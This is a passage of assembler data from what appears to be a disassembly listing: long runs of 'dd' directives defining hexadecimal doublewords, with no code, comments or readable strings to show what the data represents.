0ABB8005Bh dd 0D3785437h, 0C30FFCD0h, 0F7754B08h, 47C3AFB0h, 464A4652h dd 42F92A46h, 8A61D12Bh, 0F075D0A0h, 45EE8AFDh, 0EB0A4DFCh dd 8C3CAD04h, 403E8046h, 84BA53F7h, 7D61346Eh, 907FEB0Ch dd 6DCCF83Eh, 0CA84F012h, 8110F40Eh, 0F065C14Ah, 0F8D64004h dd 339E0D1h, 332860C2h, 1C1C8ADBh, 0CCFB8030h, 390A0A72h dd 3E05773Dh, 2267F2EBh, 0DF66114h, 6F667F0Ah, 4E5F1E08h dd 10AC0AC3h, 7230411Ah, 77460A0Bh, 0A224DE06h, 0F05D0118h dd 7383F4ECh, 72021B7Dh, 0C0370CB0h, 0AA66A576h, 0CEF84126h dd 0A86A8D07h, 0FC553B00h, 0A978820Fh, 0AAC1B0BDh, 0BA5038BEh dd 0E0B9E008h, 0BDFCA870h, 0FE3740A4h, 49470F01h, 22B9FA75h dd 0BBDC6AC5h, 12310701h, 6DEB82F1h, 868ED802h, 16399F03h dd 83655107h, 0CE5DF436h, 3EF1268Ah, 5944E9h, 0F3F2B6BCh dd 0DA8C675Dh, 10C32C06h, 6230689h, 0EBFB87BCh, 0F1674008h dd 58E16BA2h, 258704E9h, 20C46021h, 5257D8Ah, 8458233h dd 4821001Eh, 5CF6C458h, 2B00887Dh, 0C0F8FB30h, 0EB8101Ah dd 34CB8CDFh, 39826700h, 76305B4Eh, 3D511C0Fh, 76D17C04h dd 4E46613Bh, 0D52E0975h, 0EC5D8211h, 8F9065E4h, 0C584A059h dd 54968E05h, 8F5388B2h, 29C2040Ah, 0C4718C8Ch, 0F00EDBE7h dd 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h, 3FBC9020h dd 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh, 45CF4090h dd 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h, 845AABCDh dd 0A6561308h, 825E0AEEh, 0A881BDEEh, 8A7B440Fh, 13A2B9FAh dd 29972305h, 57F60243h, 0E4C45F30h, 2275468Ah, 57470416h dd 800323C4h, 0D881DF28h, 8D066D76h, 0BE951DAh, 476C0E29h dd 0AB4079F9h, 2337A00Ah, 1F0DEA31h, 0EDECDA6Eh, 261D0007h dd 0BD083D75h, 81E25C9Ch, 0B805E228h, 0DF51CC00h, 8610CA0Bh dd 873DDD35h, 93C8DAC0h, 0F0352EB6h, 5C3A1B02h, 9D001723h dd 0EAF921B7h, 8119C210h, 3193E1DCh, 8AF259E4h, 1D17EBF3h dd 0CA8BC18h, 1216507Fh, 60E92940h, 82D2310Ch, 2600462Ch dd 0F1A51844h, 3961A686h, 8C85CFB8h, 0E9010F3h, 5B20622Fh dd 0E1F1F782h, 0C21DC3Bh, 1E6CFEC3h, 1BCE3169h, 8013EA0Ah dd 0B7FFF733h, 73EBD783h, 3E1F00DFh, 31732338h, 7024E37h dd 0E96159D4h, 7FDD200Dh, 0ED03228Fh, 962D21DFh, 0E7EA9720h dd 85FD10Ch, 506277C2h, 48DFC20Bh, 0F2034F7Fh, 649395B8h dd 0EE69BFD8h, 5B0EAFCh, 6288A24h, 0DBC28EBCh, 8974FB4Eh dd 77800EEAh, 0D0E59C8Fh, 0C1016817h, 14F9F8DEh, 6A9C50C6h dd 6752C0DAh, 90FB81BCh, 4284032Ch, 0E1576118h, 0C5F0011Ah dd 0E94B6225h, 8F271010h, 0AB940E9Ah, 0E2A05D93h, 8EEF3B9h dd 0C0E74800h, 71887626h, 2149485Ch, 9641932Ch, 0B02C008Ch dd 3108ADB2h, 806EB139h, 35E0BC03h, 94EA0EAh, 0A11DBF88h dd 8C965B00h, 90073A7h, 14369DDCh, 1D99132Dh, 0F058F738h dd 0E3858748h, 0A10EB001h, 0B3808B50h, 62EEF0h, 19812803h dd 85BEEACAh, 7679B960h, 0ACDA71h, 0DBED3702h, 3080883Dh dd 1E2180FDh, 3FB8CD6Ah, 0EFD6009Ah, 0B1AC395Dh, 2000104Eh dd 0A637DDA1h, 0E9E48h, 823DBF30h, 10311612h, 73773479h dd 0FDF3Bh, 3E51E79Dh, 3A27DC0h, 89066777h, 2D3A1BAh, 0A8ADA800h dd 0C0467527h, 0DF35041Dh, 0BC9C04h, 779F6DB3h, 32690129h dd 38A1BD2Eh, 8839817Ch, 63DC477Bh, 15E6118Ch, 86009B3Ah dd 9FEDAC46h, 9136F2h, 0C70C0E09h, 2F223967h, 0ADB10F00h dd 46056319h, 15E700DCh, 0F889255Ch, 0ABF029AFh, 13621401h dd 5A61E5A2h, 0B356C0D3h, 54840648h, 21072242h, 41F03F3Fh dd 501F80E0h, 0E97B1C0Dh, 3C172800h, 0F998C700h, 3B01792Eh dd 0F08200DEh, 7B39AABDh, 2203E7B3h, 15621E56h, 1884FBC4h dd 5103CF81h, 4C0088E9h, 11817F12h, 38B1A25h, 129565Fh dd 169D2842h, 919E1848h, 0EA0015C8h, 66A8751Ah, 1E25C188h dd 4C0DCAh, 86402E0Bh, 8930F885h, 0B78388B4h, 0B9616790h dd 6AEB10C2h, 860160FCh, 3B213574h, 50801B1Ah, 79DDE672h dd 45018039h, 6C258447h, 898008CCh, 0A19283CFh, 963B5968h dd 7E2192C1h, 7805110h, 0FDE66DDFh, 457106A0h, 42D700ADh dd 0D4D2E80h, 823035C8h, 0FC54A87Ch, 3D3930D5h, 138A2F28h dd 6BB5715h, 0A26707C8h, 0E440410Eh, 0E2C43231h, 0DB72D9h dd 6D9B9279h, 0E5343CDh, 5C1C99C2h, 7490A341h, 0C2FD8F2h dd 387902CCh, 0D588FE8Ah, 6A8E21C0h, 1608CB00h, 0FBE9E074h dd 785300C4h, 0A306EE6Eh, 94A87EE5h, 39901925h, 805D453Bh dd 619ABCB8h, 3C351802h, 0C93873E1h, 0B8DE1094h, 397DE518h dd 0B0006F8h, 6B0E761Ah, 28DDE88Eh, 71A82AF9h, 0C87208DEh dd 0CF0614B6h, 38653Ah, 0F53493D3h, 5C452B95h, 4032700h dd 7E9F3BB2h, 6E383A87h, 98308C9Fh, 510EE94Dh, 0F843D800h dd 0D175BAABh, 297D005Bh, 6CA4301Fh, 3F482C42h, 807C885Ch dd 827ACEDDh, 0DF027ED7h, 1DCD2F25h, 520489Eh, 0B6B12491h dd 48A4011Ch, 0CB79A906h, 3DC8100Ah, 6D94E026h, 30907548h dd 97DBF21h, 98132B43h, 0E53491FCh, 58218071h, 0E8746CB4h dd 0CEF71869h, 0E2C5D0F6h, 5025DA00h, 0B026AF3Ch, 30110486h dd 802304D2h, 29A4510Ch, 42C3B219h, 80876F10h, 0C1B4C52Ch dd 8544C4D2h, 0A8C17318h, 0CF47B041h, 0BB304360h, 84A748C4h dd 545D4440h, 36A442h, 0E7F65FFh, 0B34E0FD0h, 2C998217h dd 0C38F1500h, 0C03ECCECh, 0FFE068D1h, 9FF41204h, 53FB302h dd 0E0573CBEh, 0A0538EBFh, 91D221F4h, 6C0F3E68h, 4046C7B7h dd 0A20F99BEh, 0C047A081h, 0C5127B3Ah, 5F880077h, 0CB1D2966h dd 0E77BF053h, 9002E524h, 0D1CD2600h, 0E8079C60h, 5B7F0088h dd 1255AEA5h, 0D90027C3h, 0EF2E697Bh, 9E642h, 371ED496h dd 0C2A45B33h, 4783ED00h, 7DD7F6C1h, 0E8F40165h, 0A0FF09DBh dd 4D98E07Ch, 24663501h, 0DE903C1Ch, 0E7E0F4h, 0F1ECC96h dd 0EBC09A72h, 0B41CF100h, 0A5CAE2C7h, 9C9844h, 0C483B2A4h dd 8C8043D1h, 0DD60BB05h, 0D4453886h, 0B44C625Dh, 24A030BDh dd 72889B1h, 488A1B5Eh, 0AAC47285h, 1D42904Fh, 0F61B2FC7h dd 1F207576h, 0CF7C7C5h, 751475Ch, 0B724570Fh, 6A0EE06Bh dd 181868E4h, 49B4FCD5h, 2600E935h, 0BEEE9407h, 3C7EA31h dd 23246E2Eh, 73C06B8Ch, 8AF479C4h, 0C5C958A3h, 2F4183A6h dd 43B7BBAh, 0CC34B518h, 32A20005h, 0F6F0DCh, 63852D04h dd 9239E10Ch, 1DECD8C4h, 0E05D8088h, 18AC61DDh, 0D287B7F5h dd 0D47D1401h, 182028EDh, 0A472F248h, 0E8DA103Ch, 34A5004Dh dd 0CDFC74A1h, 30236CD5h, 40408420h, 2B5F34C5h, 74A4018Ah dd 11ACC672h, 96CCD348h, 62D8E289h, 0C9F6317Eh, 140040C4h dd 0B347E7B5h, 3089179h, 0B7A44953h, 21026483h, 3094C651h dd 32006001h, 34755815h, 88F93FC5h, 1B19304Ch, 8588791Eh dd 16057824h, 418CBDA9h, 0CFB1A188h, 0D0888B48h, 8B4401C7h dd 0B1A8A5E1h, 2B6E007Ch, 439934E4h, 909A3625h, 4F633F7Ah dd 0ADE869h, 0AA9BF131h, 0F40C3C3Eh, 0A01C7700h, 0BEE15835h dd 2C01061Fh dd 705F48D2h, 0DAF020F6h, 102FD434h, 0E245481h, 405D1511h dd 3866F364h, 0FD01B47Fh, 0BAEC4481h, 0E5DCFCD6h, 7CC0A02Dh dd 0D0B54C6Eh, 5F958B17h, 31CDC614h, 42012022h, 39EE528Eh dd 35C4C7B1h, 7465499Ah, 88F11C40h, 79C05C5Dh, 96EBAFC8h dd 0FDF7026Bh, 0D22D972h, 0B8200844h, 40B26245h, 429D18Ah dd 0CF4BD378h, 17C86090h, 6BDAF400h, 4EC1EA3h, 0A7BF37FDh dd 0C926D028h, 0B891E805h, 24581600h, 0FE97F7A0h, 2E1B2A21h dd 225C92F4h, 850A0DDEh, 0E8874198h, 7254205h, 97900C5Fh dd 59A1AB18h, 794986ADh, 4AC5624h, 60C8D997h, 0ADCDF901h dd 826C249Ah, 705A1820h, 0B8E0A063h, 33B08142h, 22684C88h dd 0DC6B0070h, 79A8BEB2h, 0DB37B1A4h, 0AC6A3046h, 0C5FC1901h dd 608225BDh, 4AEE4072h, 8083B8A7h, 97433F7Dh, 8CACDFAh dd 0B28B0844h, 40430580h, 4E90C01Dh, 0BDD5FD06h, 0DB04504Ah dd 6424E882h, 5348E4C0h, 0F40851EEh, 401AF020h, 1B182867h dd 3F180E56h, 814E60E1h, 648A29B3h, 0F8905092h, 0BC2F212Eh dd 0B9F08280h, 0D65742Eh, 0F561DC8h, 43B5CC40h, 0C07C2D5Ch dd 88B7B4C3h, 0FC88A96Fh, 7382CE20h, 12F892B0h, 839A3DC1h dd 0D9C0CB18h, 0E2092AF0h, 90E66CEEh, 3DFA0148h, 0D6939775h dd 7DD40D41h, 0CE8088D9h, 78831461h, 7DEE1B82h, 2665DC03h dd 10541D49h, 0F6291E21h, 0D931C54Ch, 290360CFh, 0E8CE9674h dd 0B4D01F0Fh, 6AD6A046h, 6958818Ch, 4901B925h, 50485C26h dd 9F8B998h, 3C7BF100h, 12884903h, 0E856120Bh, 0BA94202Ch dd 14804093h, 3DCC2A1Ah, 0B8D4F994h, 0C58B00B0h, 8D29F8DAh dd 110BF60Fh, 46F4BF3h, 0FC0D240h, 2E332D24h, 2C4C43Ch dd 89C2E032h, 584CE886h, 8C08FC1Eh, 1022384Ch, 0EF0E156Ah dd 0A981EC04h, 84B3881h, 5A604475h, 0F75C2F01h, 0D49371B5h dd 7B229423h, 65DD1509h, 0E0740003h, 0C05A5CC3h, 703E5259h dd 3A09EAE7h, 91DE72E3h, 4C62CF84h, 0A80A1E05h, 0DCE7C088h dd 0B45C02AFh, 629A01C8h, 67E2A212h, 604E6980h, 0CC70E018h dd 80219E3Ch, 6983477Ch, 0A482B7B3h, 6EC480E8h, 808C94E6h dd 99FAF55Ch, 58005696h, 0E962AEACh, 3FEBD7h, 6B2A9CD3h dd 43C54688h, 99072E30h, 2639428Dh, 0AD0FCFh, 0C877F328h dd 64E3122Dh, 4728C4F0h, 5920A4F9h, 0AFE830DDh, 2B09ABE1h dd 0E6589201h, 0E2F21769h, 4119848h, 844CA9BDh, 5670C2E4h dd 0DDFC3048h, 0BC310528h, 2BB98113h, 8FC52449h, 0E5E1A19Ch dd 498F39B4h, 0A0ABE815h, 0D044E0A9h, 85DA8D00h, 208BE119h dd 16F502FBh, 689225C1h, 0F10D7C40h, 48BA6533h, 0F622E3C4h dd 0E67400D0h, 4A8E4519h, 5CB8AC37h, 84444h, 313517EAh dd 0B4D3ED75h, 0CD3CEF09h, 90088295h, 88470571h, 4A71378h dd 10DC408h, 9F348A53h, 205031B5h, 44942C78h, 909AF48Fh dd 6C26421Eh, 0F0C685ECh, 0F04CD705h, 7FCB7350h, 618E2E00h dd 0A937FD3Fh, 0D6A7099Ch, 0D4A876F0h, 0FDDD6290h, 4B25AC60h dd 3086E880h, 402841B0h, 4600147Ch, 5921D2F5h, 2E0FE01h dd 18131B55h, 90680B86h, 99622CF0h, 61F71280h, 8828C178h dd 0ECAB610Eh, 43307474h, 6CC73208h, 0C65C297Fh, 7CA68030h dd 0C635C5E6h, 0E120AB89h, 5918CD77h, 4CD08672h, 0CC63180Dh dd 8A2F2929h, 0E78CE854h, 681F0C32h, 7D0F0E12h, 0EBC698F8h dd 0E82A08A4h, 0AC85B830h, 0C8202B13h, 12C7CACBh, 12FBE1Dh dd 0C5EEA304h, 0A679802Dh, 1DDFAE6Fh, 202E69BAh, 0A1DC8C82h dd 0EE6DE120h, 8318A8ADh, 8CCD54F8h, 114331DEh, 653271h dd 48D6D36Ch, 60007FFAh, 25BBBA86h, 650E6352h, 0C0F9612h dd 178041C5h, 471BE2E6h, 485F5A1Ch, 839734ACh, 8F01FF0Fh dd 0A0FD0029h, 0FACA108Ch, 1E0F06A7h, 0D98A3813h, 4C888B28h dd 0A5CF5F15h, 309A48A0h, 53B3D1A4h, 3F010999h, 90E09129h dd 0C201E5DBh, 5BFD46A6h, 5C62D465h, 0B2096405h, 0FCEC8889h dd 3B687601h, 0EB2143BFh, 4A0B6193h, 9EB80A68h, 0B2854482h dd 4A88C2FAh, 5891D0A6h, 2312288Dh, 280A144Ah, 0F1D37E70h dd 90DC5892h, 3B372C50h, 40F44A1Eh, 58265A9Dh, 3A44515h dd 7F46B6C1h, 4068A509h, 4E2124Fh, 8A3890EEh, 0E7001CB3h dd 7A857D5Bh, 0C60B039Ah, 41D5E591h, 3159AD37h, 15D63C4Ah dd 0A4EF2443h, 0D7AE280Bh, 1189D498h, 0C8344BEDh, 77035EC5h dd 198EEBE6h, 0BB7EEB5Eh, 3D0FE47Dh, 0FC05C740h, 84146846h dd 2B48D85Dh, 0BC64BCA4h, 8A33B26Ch, 0F7186143h, 42080169h dd 98242B21h, 0B828E951h, 0AED9730Ch, 54A16761h, 409108E4h dd 0EC09EE1Eh, 10FB4022h, 79E1DE98h, 0DFC7070Bh, 71EE5528h dd 0F7F65C6Fh, 1E709150h, 0E5E70109h, 38BC8664h, 0B48B0F81h dd 0CB8A295Ah, 23966520h, 0FD2E8BCh, 988EA082h, 202F9C41h dd 470277A0h, 1C137DCBh, 2DE87822h, 7C00BEE5h, 0CF3B265Bh dd 2ED0FD00h, 0CDB10BB3h, 97238E4h, 0BD71C180h, 0EC7A2DE0h dd 0C93A0500h, 2B20B49Dh, 0CDEA03h, 0DC3B4D97h, 0BB2136EEh dd 0E784650Fh, 0DD3E0D1h, 724C7682h, 13EA0035h, 98250633h dd 40C1A688h, 4EA0C783h, 40368C00h, 8974C000h, 3D6FABE7h dd 72AF0315h, 2E2DDE76h, 250A03B0h, 19506D00h, 0C789D92Ah dd 3B4C0084h, 24F182A3h, 4A9002C0h, 14953C94h, 50F9AA04h dd 0CCEFD8F8h, 74863212h, 80D4D800h, 3AAF1D37h, 2700B50Ah dd 7CC343Bh, 420098CBh, 880D10A7h, 188295C6h, 40EEA4EFh dd 72000BBCh, 23AAAD8h, 370B215h, 315CD076h, 70D733FBh dd 12F6A74Eh, 0F394201Ch, 0E0358680h, 203CF2EEh, 3AE276B1h dd 90780EF6h, 2800D2F2h, 2E1E1827h, 416B7Fh, 980FCEEBh dd 0E54785F3h, 0C3A8DF0Eh, 7279E33Ch, 0F7DF8CDh, 38BE4C0Eh dd 0B0EB9452h, 0CB82D6h, 8475B740h, 1B3AD120h, 77901500h dd 3124DB76h, 0A3300AFh, 0F4B36BCBh, 9D001019h, 0E24B51C8h dd 7DF3EED9h, 0B6C20035h, 3703E4D1h, 0CB00AF33h, 3E4ECC9Ch dd 430B16h, 0E37E502Dh, 0C18BD41Bh, 0E8816D00h, 3AF1E4D9h dd 0F340CEB6h, 152064E0h, 0E0F4CB8Ah, 0F93D3000h, 6B3E4917h dd 14A7004Fh, 0A0F88620h, 1338E74Ch, 0C02E81F1h, 0ADCD83C3h dd 0D98A1F01h, 0AB8C6614h, 0D7FE27F0h, 3F36FD00h, 0CA8468BBh dd 357E1FD4h, 77CD4120h, 3327EFh, 7962539h, 70F1973h, 71A0F057h dd 0FD00D53Bh, 7EF235CFh, 7A7D1BDh, 0BE18050Ah, 9FD9806Fh dd 10001D3Bh, 586CC249h, 0A71BE9h, 8D85CE7Dh, 0CCE113E6h dd 77B53D00h, 3AA8DA86h, 0C1070009h, 2CE9760Ah, 1907E640h dd 0B3673849h, 9BD41490h, 4E9400CBh, 0FEAC1339h, 0C302BF32h dd 6FB0D6B1h, 0DACC0CEh, 9FCF1077h, 74041035h, 0C513101Fh dd 2457C181h, 0FE046F88h, 6E88CBC0h, 0A003C89Ah, 84DE4894h dd 0F2D1B352h, 60349592h, 70DC956Bh, 0D17B8700h, 0DE9A5B79h dd 34830474h, 28A77F10h, 266C20E5h, 7278DC7Eh, 0B026E44h dd 0FC75EB8Bh, 9EEBCC3h, 2258209Dh, 25F8EB84h, 0F0E8E80Ah dd 700FA78h, 69ADCDCCh, 111257Ch, 0DD9F5FCh, 0F7294571h dd 0E0ED1025h, 0C8E145Ch, 5D5DDEEh, 990EA220h, 411DDE7Ch dd 14A84C6Eh, 0F6724FDCh, 20D42FE6h, 0F8818C20h, 3C010F54h dd 78F6127Bh, 1C4CDFCDh, 20D98249h, 1E3DC400h, 2A84B9Ah dd 80B7BE0Fh, 0E45EE240h, 0D1F350h, 6DAF5ACh, 696C9C20h dd 16D21107h dd 85C1E667h, 0D1B18023h, 0E22EB5C0h, 5833F07h, 5E4806A4h dd 90015A23h, 41988B09h, 1AF050A1h, 999F90ADh, 6075BC04h dd 2374EBB2h, 801198FCh, 1CC3B28h, 482FBA11h, 0C8B34A84h dd 0FC4B3F0Dh, 738268D0h, 29B702AEh, 275F0171h, 0A360A4F8h dd 0AE7C6121h, 0D0830081h, 0B57DEAB6h, 73014757h, 25C7BE84h dd 0B8806F06h, 43FBE57Bh, 89E97074h, 5A534261h, 378370A4h dd 6FD88421h, 0B0F0FE89h, 5ECC65FEh, 1F342910h, 657F1FCDh dd 978D9441h, 44803709h, 1F3554h, 12AF5A6Bh, 4787B18Ch dd 75F42295h, 0BA2F0180h, 80033B8Bh, 0AFFCF2h, 0DC9396D1h dd 0C62826C7h, 6D760C00h, 7D63B7C4h, 0D08A25C5h, 185248C8h dd 9E79D73Ah, 1CE49AE1h, 0E82E430Bh, 0FEC47470h, 98260937h dd 0A45A82D1h, 4E325C20h, 0DC2090ECh, 2D0344A6h, 0DFEB9BF7h dd 99E1B78Dh, 7DD009E6h, 4078CC35h, 2E009DE1h, 94D3B59Fh dd 74018EF3h, 1E8271B1h, 1E20EF3Ah, 6E484099h, 66974336h dd 790CE60Ah, 9481A875h, 0BA29B3AFh, 23A5BFDh, 5F89CC48h dd 0D4C8C81h, 190026CBh, 9130AE6Fh, 0B6220026h, 0AE786501h dd 9C8229F2h, 0C5FDB451h, 210035C5h, 460979C9h, 5A746A3Bh dd 6D2F2590h, 76A78860h, 25E5D22h, 0C3CC8073h, 0E0045CC1h dd 74308CACh, 0CC768521h, 16F9900h, 0D0BD9726h, 9139005Dh dd 0C8428478h, 722830ACh, 2F0C60C2h, 983E57B2h, 225A0FDCh dd 3883BAE3h, 80404839h, 44730990h, 0A4C87354h, 0E0818600h dd 0BF77EC55h, 4F1A03CEh, 0EA202CF1h, 0B583DBF0h, 1140644h dd 70C6FAE5h, 207227B1h, 2C0236ECh, 1B280159h, 730749Eh dd 4019AF8Dh, 15C1D843h, 88043C48h, 62F7807Ch, 0A63FDA71h dd 40121DF4h, 90202B43h, 40CDE10Dh, 0D2F8B6A4h, 0D82DA031h dd 98E14265h, 0D19891A9h, 3F571831h, 998084E7h, 0A02D632Eh dd 200E5E4h, 5C6D9017h, 603B89ADh, 62FFF114h, 6E03A893h dd 0F1F08676h, 0B198178Bh, 886CD620h, 0C2028A46h, 0E986421Fh dd 47103631h, 69481FCAh, 1E66003Fh, 26426C50h, 7441C104h dd 2F91D464h, 0F5220003h, 0D226A851h, 97BBF0C8h, 515804A6h dd 2E46600h, 0C7C203B8h, 6412273Dh, 6D833463h, 30D4B0A6h dd 0E67D81E8h, 4C6081FDh, 6D7C0545h, 0B8E5D5FCh, 84750318h dd 8FE1F0h, 6E41B838h, 4ADF406h, 0D22130C3h, 4448DD64h dd 5E8D8039h, 0EBB43C6Ah, 0E090AC5Ah, 9F7CD9AFh, 0D2731880h dd 0C77E6DF8h, 87E0744Dh, 0FCF2EBB1h, 100C3190h, 0EB8A24h dd 512EC7B3h, 46B86809h, 45BF8E0Ch, 4081B07Ah, 0E82CDE90h dd 463B100Bh, 0FCE2946Eh, 0CCC58B68h, 0EBB52180h, 13C7A389h dd 0F00AE635h, 4349F080h, 0A1B306E0h, 13F930D1h, 0B429CD1Dh dd 6504C7F4h, 320D4912h, 183028D9h, 9B297D8Ch, 72BB1128h dd 0EAAE7D00h, 0C5F110C1h, 0C8C0C1BFh, 83750A25h, 0ADF88380h dd 51804B9h, 1D7CCA28h, 291EA8ECh, 0D3BA3062h, 3110DA99h dd 0D64FA001h, 8FA3B227h, 47E0002Fh, 9303EFFCh, 625FFB02h dd 0C42CB1ACh, 4D3F2C10h, 9B04411Ch, 784B110Dh, 19036300h dd 2589DD09h, 39840579h, 0E3A9B847h, 0AEED9851h, 8601092h dd 90A4CEA0h, 1D21203Ch, 465D347h, 82E73F0Ch, 3C743740h dd 0D1072EEAh, 50A06894h, 4CF58E6Dh, 0B103403h, 23B90024h dd 0AED6C41Ah, 49A0250Fh, 328ECE0h, 5C808E5Ah, 5859E105h dd 0D18544A7h, 0B5A821DFh, 0D48104AAh, 0F037EBEh, 0EE5341D8h dd 50541E4Ch, 0B3EA9E8h, 54AF0114h, 9635988Ch, 0EA2A7052h dd 11349D44h, 0D8628009h, 201699h, 0C03B874Fh, 91D7942Bh dd 69C5E613h, 914C74F0h, 18BF7928h, 0AC2E00F0h, 6D774BBBh dd 149FDA72h, 43B60030h, 7BF59B2h, 7A09CEE3h, 0D899AC66h dd 246EEEB4h, 80E0955Ch, 0F91B2465h, 7D013769h, 4DBC23Fh dd 2C47E115h, 0EF743130h, 0C02013BEh, 8B9A00A4h, 3776EC66h dd 67788C0Fh, 0BD448196h, 70645B5Ch, 0FE7F697h, 5F90D8BBh dd 6E6E7BBEh, 0CCA460F3h, 86237C1Fh, 13321139h, 0B400344Dh dd 0E535F7AFh, 0B4D203EAh, 0CE8DD446h, 0FD6DD0A0h, 0B8834116h dd 702E840Bh, 0E6D20744h, 3B91A9CDh, 0D07E5005h, 142D94DCh dd 52FBF0A1h, 0F097C7D8h, 75870A91h, 5A9290E3h, 0A725056Ch dd 9114970Dh, 0EA89800Ah, 388FBD1Ch, 6AB2C7DBh, 0F8337890h dd 46FC6FEBh, 0D2270h, 0F2EBB630h, 2739F65Ch, 2EAF9E12h dd 467D6809h, 141620ACh, 0C2D9D003h, 0C262C80Bh, 0C16CCD63h dd 58AD4D8Ah, 6C097DB8h, 0D0FBC9B1h, 16389828h, 208B5CDh dd 0F0C84728h, 95604884h, 77588210h, 7D0498ECh, 44C1C2CCh dd 9A204B62h, 994CC7Fh, 306FCF5Ah, 0D46E482h, 42117711h dd 0BC206A28h, 3D1FD7F5h, 0D0D0CB46h, 1823887Ah, 9587D91Fh dd 7C0F2B12h, 1540C18Bh, 0FC622143h, 3830805Ah, 1137F104h dd 0B730C0B3h, 0C262B5D7h, 84199878h, 0DB8F8853h, 3BC905A3h dd 18A69C40h, 311EC03h, 5C094449h, 4C038435h, 659520DCh dd 702AC2ADh, 6CCA000Bh, 81B85057h, 30943FF0h, 7C607A44h dd 0C17437CCh, 72990087h, 8306DBCCh, 0FE589500h, 43F3890Ch dd 9FE8E8AFh, 0C132B482h, 0DE223450h, 0F1E6FAB9h, 0D9909457h dd 8AFA6h, 526BC59Bh, 6ED177DBh, 40329A01h, 10440EABh dd 64ACA9C0h, 647DA939h, 0C145DC1Ch, 54483094h, 71A08F4Ch dd 5322D1E0h, 91125882h, 0A80806B5h, 0EBB8C077h, 884EFC72h dd 25002Ch, 0C2CBEB89h, 0E5F753C4h, 385FA1Fh, 46B47089h dd 0A7833FD4h, 71C5FC09h, 3C9A060h, 3F08BB55h, 0F8486C13h dd 0AE71C131h, 0D0BEA4BDh, 6B40BEC4h, 0A3E0AE7Ah, 0B2F87007h dd 15218A5Ah, 51C8CB24h, 0C456059Bh, 6079A762h, 38CC6390h dd 0E474C12Bh, 9C007611h, 936ACC75h, 920008C2h, 0FCE0C597h dd 0BA5C51DDh, 0BBFE2D10h, 9358BCC4h, 882D1084h, 1CBA3B71h dd 8476C882h, 18E8B14Bh, 2122ED2h, 5CCB621Ah, 69C07788h dd 0E6354h, 0F790CF59h, 7218131Ch, 157002BDh, 2634E6E8h dd 5B3D348h, 885DFDA2h, 0C9017C10h, 0E0D76BC8h, 0D430D22Fh dd 794166h, 7F5C5F4h, 5EFD0D0h, 0C754E3E5h, 9C8088A8h dd 5003BA53h, 0F5E081B5h, 4A002585h, 8A248B51h, 8F00EC21h dd 0B64D8446h, 0B45D4CB7h, 0CD73FE04h, 87C80D9h, 109820Eh dd 40B037E2h, 0BBF5E5B4h, 0D9AF07A0h, 4C511830h, 8FE01026h dd 32008388h, 6F9002F1h, 90FDA7CEh, 3AF92DFDh, 26DC7C48h dd 2C6F70D3h, 566D4400h, 0D2725A6Bh, 4B0E35Ch, 0C7FB2E0Ch dd 0CE2ACF2h, 7A7330h, 2E052FD1h, 4DCFB7C0h, 462B481Fh dd 6600D828h, 0F21A31F9h, 13AB206Bh, 0C254EE3Fh, 784561F8h dd 5B6077E4h, 7304E36Eh, 0A071B8Eh, 3E2520C1h, 8380832Ah dd 6A813181h, 82B7F808h, 4C9FBA29h, 2DD50848h, 0CF126896h dd 0EB00D0A9h, 0FC964A36h, 22007B76h, 4518C624h, 6994BB8Eh dd 601DB0B1h, 0FF807411h, 4D3F2621h, 86E6EF00h, 0D44520CBh dd 2BBE041Dh, 0B57D64D2h, 1023E1A8h, 0BADA5C18h, 0D1F091C4h dd 0DD1871h, 95342246h, 4A842667h, 149EDE02h, 0A47ADF73h dd 5C81758Ch, 0B838B1B9h, 0E4674800h, 0C7F70207h, 8C155001h dd 5E81CC62h, 41C4020h, 6B730436h, 88188E6Eh, 4F56C10Ah dd 5D0870ADh, 90C20BDh, 0EA2B77C0h, 7F3C3B52h, 0DFB1AF0Bh dd 37135C70h, 0BC4002E1h, 46BAF72Eh, 0B4848AA7h, 0AE756035h dd 412925B1h, 670F9416h dd 0A0F7AE7Eh, 4E43A5A6h, 595A028Dh, 8276D221h, 426130C1h dd 66201FC4h, 482E0BE6h, 7384BCDAh, 1F70E4C4h, 9D656927h dd 80359104h, 0C68536BDh, 72E4071Eh, 222E3AAh, 0C881BBCDh dd 0F0EC9E93h, 78A783DFh, 9260B964h, 7B05E63Ah, 0E4D8EB2Ah dd 38690C1h, 5408E501h, 0CDC08CD0h, 690F9401h, 9C78D251h dd 0C0A5EDCh, 7D2643A4h, 0FB3A3FC1h, 0F4D85B4Dh, 8C510148h dd 3927B759h, 4C8870A6h, 0B18B8509h, 2F054E3h, 0BF2B433Dh dd 82130850h, 0ACC1F598h, 0EC5F96E8h, 5A20E298h, 86529303h dd 0BB029A0h, 721B4858h, 0E885CC40h, 18C0A973h, 0CA1C218Bh dd 571102B7h, 25E9DDEEh, 0E2084CF1h, 46B300A7h, 0B9DAAF8Eh dd 8FBC98B7h, 4FB22F53h, 0A4FB1463h, 0D6BE00FFh, 11028E69h dd 0F8756640h, 11689728h, 2CEA81B6h, 1034EFB2h, 1812096Dh dd 74811D3Ah, 0FE04A33Fh, 7466B089h, 188E44A1h, 7E1F0936h dd 0A465C986h, 1F3E4B80h, 0B0F12EFh, 0C0755FCFh, 930014C4h dd 0AECCECDDh, 1FE49DE9h, 137FD2Eh, 0A9F830F7h, 64EC728Fh dd 0C360B578h, 86237D1Fh, 46443BD1h, 7F1FCB00h, 0CE6D9667h dd 1A03014h, 0BE35C851h, 0BD039FDh, 0A4FC2E66h, 7A604490h dd 0C125CDCCh, 4C0C966Ch, 57018453h, 0FA3794A5h, 344B7E43h dd 0A11882A2h, 0A13C5BC0h, 18765130h, 3A8FAC8h, 6D5C8DABh dd 0B002C551h, 7DCDE6CEh, 9E74580Ch, 2463B7Ch, 0FC78EBB6h dd 581854B8h, 0EB128F2Fh, 0D804A6D6h, 6C096742h, 23442A00h dd 8C9E04E6h, 6AB6C600h, 60264207h, 0E644E109h, 63787E0Fh dd 0ED52A8A1h, 30820475h, 0C7C6048Ch, 6D0BB804h, 0AAECE85Ch dd 7587EE5h, 0A3762A90h, 5BE8700Ch, 7200851Dh, 4A326C20h dd 303DC734h, 8440077Eh, 8688465Ch, 768D7EFDh, 3968009Eh dd 35ACFA66h, 0D7381FB4h, 0D4A89C4h, 6E883040h, 29BE17AEh dd 1C0CB99h, 0A4AE7768h, 0AB20F60Bh, 0F0D1E82Dh, 985A0C0Ah dd 25D1A83Dh, 14132E4Ah, 31C8288Bh, 3CD68AC0h, 